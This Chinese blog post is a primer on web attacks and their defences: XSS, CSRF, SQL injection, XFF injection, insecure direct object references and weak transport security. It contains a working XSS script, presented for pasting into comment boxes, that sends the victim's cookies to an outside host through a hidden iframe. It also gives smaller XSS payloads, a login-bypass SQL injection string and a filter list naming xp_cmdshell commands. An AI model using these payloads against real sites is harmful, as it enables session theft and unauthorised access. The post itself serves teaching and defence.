中高级渗透测试员都必须掌握的Web安全测试知识库,速收藏!
gaoyangw 2024-10-16 09:37 20 浏览 0 评论
一、XSS攻击
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
特点:尽一切办法在目标网站上执行非目标网站上原有的脚本。
XSS危害
1.使用js或css破坏页面正常的结构与样式
2.通过document.cookie盗取cookie,实现无密码访问
3.流量劫持(通过访问某段具有window.location.href定位到其他页面)
4.Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
5.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
6.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
攻击方式
1. Reflected XSS(基于反射的XSS攻击)
非持久型,反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
反射型 XSS 的攻击步骤:
攻击者构造出特殊的 URL,其中包含恶意代码。
用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
2. Stored XSS(基于存储的XSS攻击)
持久型,这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
存储型 XSS 的攻击步骤:
攻击者将恶意代码提交到目标网站的数据库中。
用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
DOM 型 XSS 的攻击步骤:
攻击者构造出特殊的 URL,其中包含恶意代码。
用户打开带有恶意代码的 URL。
用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
简单案例
使用xss弹出恶意警告框,代码为:
<script>alert("xss")</script>
xss输入也可能是html代码段,如果使网页不停的刷新,代码为:
<meta http-equiv="refresh" content="0;">
嵌入其他网站链接的代码为:
<iframe src="http://www.jsay.org" width=0 height=0></iframe>
<!-- jsay.org 个人小站还没开始运行哦! -->
JavaScript 写一个请求跨站的脚本就是XSS了,如下:
<!-- jsay.org 个人小站还没开始运行哦! -->
<!-- 将此段代码放在评论/留言框中提交 -->
<script type="text/javascript">
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://www.jsay.org/xss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
</script>
XSS防御
思路:对输入(和URL参数)进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击。
1.对输入、URL参数等(如:<>、/ 、&、'、" )进行转义、过滤,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据;
2.输出数据之前对潜在的威胁的字符进行编码、转义;
3.XSS 一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。
4.设置黑、白名单;
5.Content Security Policy 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
二、CSRF攻击
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
本质原因:CSRF攻击是源于Web的隐式身份验证机制。Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。CSRF攻击的一般是由服务端解决。
CSRF攻击条件:
登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。
虽然有些时候你访问B网站的时候,并没有访问A网站,但是你并不能保证之前登录过A网站的本地Cookie已过期,这个时候B网站一样是可以发起攻击。 CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
CSRF的防御
1.Cookie Hashing(所有表单都包含同一个伪随机值);
2.验证码;
3.One-Time Tokens(不同的表单包含一个不同的伪随机值);
4.不让第三方网站访问到用户 Cookie,阻止第三方网站请求接口。
三、SQL注入
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
简单举例:
// 前端给后端post键值对,登录的用户名和密码
let data = {
username: 'admin',
pwd: 'abc123456'
}
// 后端的sql语句
SELECT * FROM user WHERE username='${username}' AND psw='${pwd}'
这个时候前端的 username 别人输入 admin' -- ;这个时候查询的 SQL 语句就变成这样子了:
SELECT * FROM user WHERE username='admin' -- AND psw='${pwd}'
Ps: -- 在SQL语句里面是注释,也就是说登录的查询条件变成了不需要验证密码!
SQL注入防御
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
四、XFF注入
X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
XFF的预防
1.过滤http头中的X-Forwarded-for header中的内容,不允许其插入敏感字符,过滤字符参考sql注入修复方案。
2.过滤以下敏感字符。需要过滤的特殊字符及字符串有:
net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
'
:
"
insert
delete from
drop table
update
truncate
from
%
五、不安全的直接对象引用
当开发人员公开对内部实现对象的引用(例如URL或FORM参数中的文件,目录或数据库键)时,就会发生这种情况。攻击者可以使用此信息访问其他对象,并可以创建将来的攻击来访问未经授权的数据。
简单举例: 更改以下URL中的 userid 可以使攻击者查看其他用户的信息。 http://www.jsay.org/userid=123 修改为 http://www.jsay.org/userid=124 攻击者可以通过更改用户标识值来查看其他信息。或者文件允许下载访问 http://www.jsay.org/a.txt ,但是通过 http://www.jsay.org/b.txt 可以看到不允许访问的文件!
防御
1.实施访问控制检查。
2.避免在URL中公开对象引用。
3.验证对所有引用对象的授权。
六、传输层保护不足
处理用户(客户端)和服务器(应用程序)之间的信息交换。应用程序经常通过网络传输敏感信息,如身份验证详细信息,信用卡信息和会话令牌。通过使用弱算法或使用过期或无效的证书或不使用SSL,可以允许将通信暴露给不受信任的用户,这可能会危及Web应用程序和/或窃取敏感信息。
防御
1.启用安全HTTP并仅通过HTTPS强制执行凭据传输。
2.确保您的证书有效且未过期。
相关推荐
- 工具升级后我们应该对现有的推广工具有新定义和认知
-
淘宝商业系统新变革现在的淘宝啊,那可真是越来越像一个超级智能的商业宇宙了。以前咱做淘宝,就盯着那几个关键词,使劲儿刷坑产,以为这样就能出单。可现在不一样咯,进入了2025年,淘宝已经完全进化到了场景化...
- 在Ozon上常用的推广商品的工具(ozon上架产品)
-
这些是用于在类目页面、商品卡片、搜索结果和其他Ozon页面上推广商品的工具。Ozon上有哪些推广工具...
- 外贸人必备!2025 年最受欢迎的海外社媒营销工具解析
-
现在做海外生意,社媒营销那可是重中之重。2025年又冒出一堆好用的工具,不管是找客户、做推广还是和用户唠嗑,都能帮上大忙。今天咱就来聊聊这些热门的海外社媒营销工具,分社交媒体平台和即时聊天工具两部分...
- 免费进群获取福彩3D资料?结果……
-
在国庆小长假来临的喜悦中,李先生(化名)本以为自己找到了快速致富的机会,但没想到等待他的却是一场精心设计的骗局。真实案件前两天,李先生和往常一样刷视频时,无意间看到一个广告,声称可以免费进群获取福彩3...
- 揭秘刷单骗局,莫把“陷阱”当“馅饼”!
-
你以为自己是在做...
- 12万元的血泪教训:揭秘点赞刷单诈骗全过程
-
今年3月的那个下午,我的QQ突然被拉入一个陌生群,正是这次意外的“邀请”,让我陷入了一场精心设计的诈骗陷阱,损失了12万元。希望通过分享我的经历,能给大家敲响警钟,避免重蹈覆辙。...
- 内衣电商小白必备引流秘籍,轻松破局!
-
新手做内衣电商,是不是天天为没流量愁到头秃?别慌,今天就把压箱底的引流干货分享给大家,都是实操验证过的有效方法,纯新手也能轻松上手!社交媒体引流:精准吸粉的流量密码...
- “搜索+公益+明星”,QQ浏览器联动百位明星让好事久久发生
-
2024年9月,走过十年的99公益日正式升级为“久久公益节”。作为腾讯公益的深度合作平台,QQ浏览器依托搜索能力与丰富的明星资源,连续5年以“搜索+公益+明星”的模式深度参与99公益日。...
- 刷单兼职怎样最赚钱?看完这篇,绝对不亏!
-
网络刷单日进百金?坐在家里就能赚钱?...
- 动动手指就能赚钱的好事,为啥轮到你?
-
刷单,日进斗金?...
- 零成本快速获客成交的五大方法(获客成本计算方法)
-
线上获客的五大方法以下是陈老师根据十几年新媒体营销的经验总结出来的五个0成本快速获客的方法,这些方法简单易学,学了马上就能用,用了就能见到效果。这些方法虽然简单,但是效果确实很不一般。陈老师曾经用赠送...
- 父亲10年为女儿QQ点赞3.7万次 只因女儿一个要求
-
近日,网友“未名湖锦鲤”分享的一段特殊的亲情故事...
- 快手极速版看我如何通过一个广告获得1800金币,干货经验分享
-
#打卡挑战局#哈喽大家好,我是左十一,今天又来给大家分享多拿金币的小技巧以及疑难杂症的解决方法了,今天主要给大家带来关于快手极速版,如何操作才能通过一个广告获取1800金币的超高金币奖励。很多朋友总是...
- “爱芥末”就是全球第一个QQ等级最高的用户
-
今天凌晨腾讯官微突然宣布全球第一个QQ256级用户诞生了。这个用户叫“爱芥末”,等级图标变成了从来没出现过的“时光企鹅”。腾讯还特意给发了限量版纪念品,终身超级会员和很多皮肤。...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- 网站建设 (107)
- 网站开发 (47)
- 百度收录 (50)
- 搜索引擎排名优化 (49)
- 关键词优化工具 (51)
- 外贸网站建设 (56)
- seo整站优化吧 (50)
- 苏州网站建设 (59)
- 百度搜索推广 (61)
- 关键词优化公司 (51)
- 广州网站建设 (48)
- 电商网站建设 (49)
- 百度站长平台 (48)
- 网站模板 (51)
- 厦门网站建设 (52)
- 百度快照推广 (51)
- 免费网页在线客服系统 (53)
- 雷神代刷网站推广 (53)
- 手机网站建设 (53)
- 网站维护 (53)
- 网页制作教程 (66)
- 百度收录批量查询工具 (48)
- 网站服务器 (53)
- 学生个人网页制作html (56)
- 一键优化 (67)